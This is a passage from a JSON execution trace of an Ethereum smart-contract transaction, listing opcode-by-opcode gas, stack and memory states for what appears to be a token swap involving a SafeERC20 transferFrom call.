000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15149,"op":"POP","gas":19015,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x100","0xc6a","0x1","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15150,"op":"SUB","gas":19013,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x100","0xc6a","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15151,"op":"SWAP1","gas":19010,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x100","0xc6a","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15152,"op":"JUMP","gas":19007,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x100","0x1","0xc6a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3178,"op":"JUMPDEST","gas":18999,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x100","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3179,"op":"DUP2","gas":18998,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x100","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3180,"op":"MLOAD","gas":18995,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x100","0x1","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3181,"op":"DUP2","gas":18992,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x100","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3182,"op":"LT","gas":18989,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x100","0x1","0x2","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3183,"op":"PUSH2","gas":18986,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x100","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3186,"op":"JUMPI","gas":18983,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x100","0x1","0x1","0xc7a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3194,"op":"JUMPDEST","gas":18973,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x100","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3195,"op":"PUSH1","gas":18972,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x100","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","00